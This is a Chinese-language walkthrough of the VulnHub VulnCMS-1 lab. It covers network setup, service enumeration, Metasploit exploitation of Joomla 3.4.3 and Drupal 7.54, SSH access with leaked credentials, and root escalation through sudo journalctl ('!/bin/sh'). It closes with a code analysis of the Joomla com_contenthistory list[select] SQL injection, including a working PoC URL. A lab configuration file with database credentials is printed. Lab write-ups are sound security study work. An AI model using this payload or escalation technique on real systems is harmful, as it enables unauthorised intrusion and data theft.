VulnCMS-1复现
环境搭建
搭建靶场环境我选择的是使用Vmware + VirtualBox,Vmware运行kali攻击机,VirtualBox运行Vulnhub靶机的方案,整体拓扑为:
1
2
3
|
宿主机(Windows) : 192.168.56.1
├─ VMware Workstation → Kali Linux(主力攻击机):192.168.56.101
└─ Oracle VirtualBox → VulnHub靶机: 192.168.56.102
|
具体配置:
Vmware


如图,将VMnet0桥接至VirtualBox的虚拟网卡上
VirtualBox
VirtualBox 主界面,选中靶机,点击“设置”。
选择“网络” -> “网卡 1”。
连接方式选择:仅主机 (Host-Only) 网络。
验证:
在kali中使用ifconfig:

可以看到Kali 已经成功拿到了 192.168.56.101 这个地址。说明 VMware 已经成功“挂载”到了 VirtualBox 的虚拟网卡上。
漏洞复现
本次的靶机选取的是vulnhub中的VulnCMS-1
渗透测试本质是信息搜集,所以我们先做下c段嗅探,使用nmap来扫描192.168.56.0/24 段内存活的主机地址:

可以看到,1是网关地址,100是DHCP服务器,101是我们的kali攻击机,则102即为我们的靶机地址,继续使用nmap扫下端口,看看靶机上都跑了哪些服务

可以看到这里开放了22,80,5000,8081和9001端口,22端口是ssh,80端口是http服务
先探测一下web服务,这里我们使用gobuster, Gobuster 是一款用 Go 编写的高效目录、文件、DNS 子域及虚拟主机枚举工具,常用于渗透测试和信息收集。
我们来枚举一下目录:

访问一下http://192.168.56.102/vulnerable/

是几张图片
访问robots.txt:

/about.html:

似乎没什么有用的信息
访问一下其它端口

5000端口上跑了一个WordPress
访问helloworld的时候发现跳转到了http://fsociety.web:5000/hello-world/

继续探测WordPress服务的web目录

可以发现有wp-login.php和rss

在rss里发现了版本信息: WordPress/5.7.2,但很遗憾这个版本似乎没有什么可利用的CVE
wp-admin.php也没有弱密码
先换个端口探测

看到8081端口有README.txt

所以8081上跑了一个Joomla ,Joomla是一个开源的内容管理系统(cms),联想到这个靶机的名字是VulnCMS,应该是在这里做文章
使用joomscan进行扫描:

可以看到这里跑的Joomla版本是3.4.3,第一个就是SQL注入漏洞
可以用msf利用,具体漏洞分析会写在最后


直接读取到了数据库信息,可以看到这里有一个和其他的都不一样的邮箱
继续探测9001端口

可以看到依旧有README.txt ,

9001端口跑的是Drupal,Drupal 是一个使用 PHP 语言编写的开源内容管理框架(CMF)

可以在/CHANGELOG.txt中看到这里的版本是7.54
同样使用msf看看有没有直接可利用的exp


拿到shell
可以发现现在是低权限用户,先看一眼文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
// configuration.php
<?php
class JConfig {
public $offline = '0';
public $offline_message = 'This site is down for maintenance.<br /> Please check back again soon.';
public $display_offline_message = '1';
public $offline_image = '';
public $sitename = 'fsociety';
public $editor = 'tinymce';
public $captcha = '0';
public $list_limit = '20';
public $access = '1';
public $debug = '0';
public $debug_lang = '0';
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'joomla_admin';
public $password = 'j00m1_@_dBpA$$';
public $db = 'joomla_db';
public $dbprefix = 'hs23w_';
public $live_site = '';
public $secret = 'E2WM78yuyqAzib9N';
public $gzip = '0';
public $error_reporting = 'default';
public $helpurl = 'https://help.joomla.org/proxy/index.php?option=com_help&keyref=Help{major}{minor}:{keyref}';
public $ftp_host = '';
public $ftp_port = '';
public $ftp_user = '';
public $ftp_pass = '';
public $ftp_root = '';
public $ftp_enable = '0';
public $offset = 'UTC';
public $mailonline = '1';
public $mailer = 'mail';
public $mailfrom = 'Fluntence54@armyspy.com';
public $fromname = 'fsociety';
public $sendmail = '/usr/sbin/sendmail';
public $smtpauth = '0';
public $smtpuser = '';
public $smtppass = '';
public $smtphost = 'localhost';
public $smtpsecure = 'none';
public $smtpport = '25';
public $caching = '0';
public $cache_handler = 'file';
public $cachetime = '15';
public $MetaDesc = '';
public $MetaKeys = '';
public $MetaTitle = '1';
public $MetaAuthor = '1';
public $MetaVersion = '0';
public $robots = '';
public $sef = '1';
public $sef_rewrite = '0';
public $sef_suffix = '0';
public $unicodeslugs = '0';
public $feed_limit = '10';
public $log_path = '/var/www/html/joomla/logs';
public $tmp_path = '/var/www/html/joomla/tmp';
public $lifetime = '15';
public $session_handler = 'database';
}
|
由于是低权限用户,没法到根目录下去,联想到在Joomla数据库中有一个账户elliot,和可疑的邮箱,用这个登一下22端口的ssh试一试

成功登录,拿到第一个flag

可以看到这里依旧是低权限用户,先用find一下SUID
find / -perm -4000 -type f

顺手看一眼有哪些用户

看到除了我们登录上去的elliot之外还有一个用户tyrell,先从这里找突破口
在一堆Permission denied中我们找到了:


看一眼这几个文件

拿到了账户密码
登录到tyrell账户,依旧是低权限
查看下当前账户是否存在可以使用的特权命令或文件:sudo -l,发现存在/bin/journalctl命令。

journalctl可以用 ! /bin/sh的方式提权

这里的原理是,因为这里journalctl是NOPASSWD的,所以我们用sudo运行journalctl时,不用输入root密码,同时它的所有组件(包括分页器)都会运行在root权限下,而journalctl是 Linux 用来查看系统日志的工具。为了方便用户翻阅超长的日志,它默认会调用一个分页器通常是 less。因为 less 是被 root 身份的 journalctl 调用的,所以在 less 里执行的任何命令也都是 root 权限,而less可以用!/bin/sh的方式提权,从而我们拿到了root权限。
拿到了第二个flag
综上来看,这里利用的主要漏洞是Joomla的SQL注入和信息泄露
所以我们最后来分析一下造成joomla 3.4.3 SQL注入的原因
漏洞分析
最开始我们的payload会到administrator/components/com_contenthistory/models/history.php下的getListQuery()函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
protected function getListQuery()
{
// Create a new query object.
$db = $this->getDbo();
$query = $db->getQuery(true);
// Select the required fields from the table.
$query->select(
$this->getState(
'list.select',
'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
)
)
->from($db->quoteName('#__ucm_history') . ' AS h')
->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))
// Join over the users for the editor
->select('uc.name AS editor')
->join('LEFT', '#__users AS uc ON uc.id = h.editor_user_id');
// Add the list ordering clause.
$orderCol = $this->state->get('list.ordering');
$orderDirn = $this->state->get('list.direction');
$query->order($db->quoteName($orderCol) . $orderDirn);
return $query;
}
|
输入会给到getState函数,进去看看,在libraries/legacy/model/legacy.php中
1
2
3
4
5
6
7
8
9
10
11
12
13
|
public function getState($property = null, $default = null)
{
if (!$this->__state_set)
{
// Protected method to auto-populate the model state.
$this->populateState();
// Set the model state set flag to true.
$this->__state_set = true;
}
return $property === null ? $this->state : $this->state->get($property, $default);
}
|
可以看到,这里会判断model状态是否被设置,如果没有会调用populateState()函数来设置,去看看实现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
// administrator/components/com_contenthistory/models/history.php
protected function populateState($ordering = null, $direction = null)
{
$input = JFactory::getApplication()->input;
$itemId = $input->get('item_id', 0, 'integer');
$typeId = $input->get('type_id', 0, 'integer');
$typeAlias = $input->get('type_alias', '', 'string');
$this->setState('item_id', $itemId);
$this->setState('type_id', $typeId);
$this->setState('type_alias', $typeAlias);
$this->setState('sha1_hash', $this->getSha1Hash());
// Load the parameters.
$params = JComponentHelper::getParams('com_contenthistory');
$this->setState('params', $params);
// List state information.
parent::populateState('h.save_date', 'DESC');
}
|
可以看到,这里获取了item_id等,强制转型成integer然后用setState函数来赋值,即从用户输入中取出item_id,type_id,type_alias,等几个变量,对当前model的属性进行赋值,由于可以控制的参数都被强制转成整形,所以只能看看其他地方,可以看到最后继承了populateState,去看看父类是怎么实现的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
|
// libraries/legacy/model/list.php
protected function populateState($ordering = null, $direction = null)
{
// If the context is set, assume that stateful lists are used.
if ($this->context)
{
$app = JFactory::getApplication();
// Receive & set filters
if ($filters = $app->getUserStateFromRequest($this->context . '.filter', 'filter', array(), 'array'))
{
foreach ($filters as $name => $value)
{
$this->setState('filter.' . $name, $value);
}
}
$limit = 0;
// Receive & set list options
if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
{
foreach ($list as $name => $value)
{
// Extra validations
switch ($name)
{
case 'fullordering':
$orderingParts = explode(' ', $value);
if (count($orderingParts) >= 2)
{
// Latest part will be considered the direction
$fullDirection = end($orderingParts);
if (in_array(strtoupper($fullDirection), array('ASC', 'DESC', '')))
{
$this->setState('list.direction', $fullDirection);
}
unset($orderingParts[count($orderingParts) - 1]);
// The rest will be the ordering
$fullOrdering = implode(' ', $orderingParts);
if (in_array($fullOrdering, $this->filter_fields))
{
$this->setState('list.ordering', $fullOrdering);
}
}
else
{
$this->setState('list.ordering', $ordering);
$this->setState('list.direction', $direction);
}
break;
case 'ordering':
if (!in_array($value, $this->filter_fields))
{
$value = $ordering;
}
break;
case 'direction':
if (!in_array(strtoupper($value), array('ASC', 'DESC', '')))
{
$value = $direction;
}
break;
case 'limit':
$limit = $value;
break;
// Just to keep the default case
default:
$value = $value;
break;
}
$this->setState('list.' . $name, $value);
}
}
else
// Keep B/C for components previous to jform forms for filters
{
// Pre-fill the limits
$limit = $app->getUserStateFromRequest('global.list.limit', 'limit', $app->get('list_limit'), 'uint');
$this->setState('list.limit', $limit);
// Check if the ordering field is in the white list, otherwise use the incoming value.
$value = $app->getUserStateFromRequest($this->context . '.ordercol', 'filter_order', $ordering);
if (!in_array($value, $this->filter_fields))
{
$value = $ordering;
$app->setUserState($this->context . '.ordercol', $value);
}
$this->setState('list.ordering', $value);
// Check if the ordering direction is valid, otherwise use the incoming value.
$value = $app->getUserStateFromRequest($this->context . '.orderdirn', 'filter_order_Dir', $direction);
if (!in_array(strtoupper($value), array('ASC', 'DESC', '')))
{
$value = $direction;
$app->setUserState($this->context . '.orderdirn', $value);
}
$this->setState('list.direction', $value);
}
// Support old ordering field
$oldOrdering = $app->input->get('filter_order');
if (!empty($oldOrdering) && in_array($oldOrdering, $this->filter_fields))
{
$this->setState('list.ordering', $oldOrdering);
}
// Support old direction field
$oldDirection = $app->input->get('filter_order_Dir');
if (!empty($oldDirection) && in_array(strtoupper($oldDirection), array('ASC', 'DESC', '')))
{
$this->setState('list.direction', $oldDirection);
}
$value = $app->getUserStateFromRequest($this->context . '.limitstart', 'limitstart', 0);
$limitstart = ($limit != 0 ? (floor($value / $limit) * $limit) : 0);
$this->setState('list.start', $limitstart);
}
else
{
$this->setState('list.start', 0);
$this->setState('list.limit', 0);
}
}
|
在这一部分代码中:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
{
foreach ($list as $name => $value)
{
// Extra validations
switch ($name)
{
case 'fullordering':
$orderingParts = explode(' ', $value);
if (count($orderingParts) >= 2)
{
// Latest part will be considered the direction
$fullDirection = end($orderingParts);
if (in_array(strtoupper($fullDirection), array('ASC', 'DESC', '')))
{
$this->setState('list.direction', $fullDirection);
}
unset($orderingParts[count($orderingParts) - 1]);
// The rest will be the ordering
$fullOrdering = implode(' ', $orderingParts);
if (in_array($fullOrdering, $this->filter_fields))
{
$this->setState('list.ordering', $fullOrdering);
}
}
else
{
$this->setState('list.ordering', $ordering);
$this->setState('list.direction', $direction);
}
break;
case 'ordering':
if (!in_array($value, $this->filter_fields))
{
$value = $ordering;
}
break;
case 'direction':
if (!in_array(strtoupper($value), array('ASC', 'DESC', '')))
{
$value = $direction;
}
break;
case 'limit':
$limit = $value;
break;
// Just to keep the default case
default:
$value = $value;
break;
}
$this->setState('list.' . $name, $value);
}
}
|
这里会从http请求中获取名为list的数组,可以看到最开始我们的参数’list.select’没有对应的处理逻辑,就会走default即不做任何处理,这导致了后续子类的populateState在对model的属性进行赋值的时候没有任何的过滤。所以我们可以控制$this->getState(‘list.select’)的返回值,构造SQL注入。
POC:
1
|
/index.php?option=com_contenthistory&view=history&item_id=1&list[ordering]=&type_id=1&list[select]=(exp(~(select * from(select md5(1))x)))
|
多一个list[ordering]=是为了把原SQL中的order by字段值清空,否则会报Unknown column ‘Array’的错。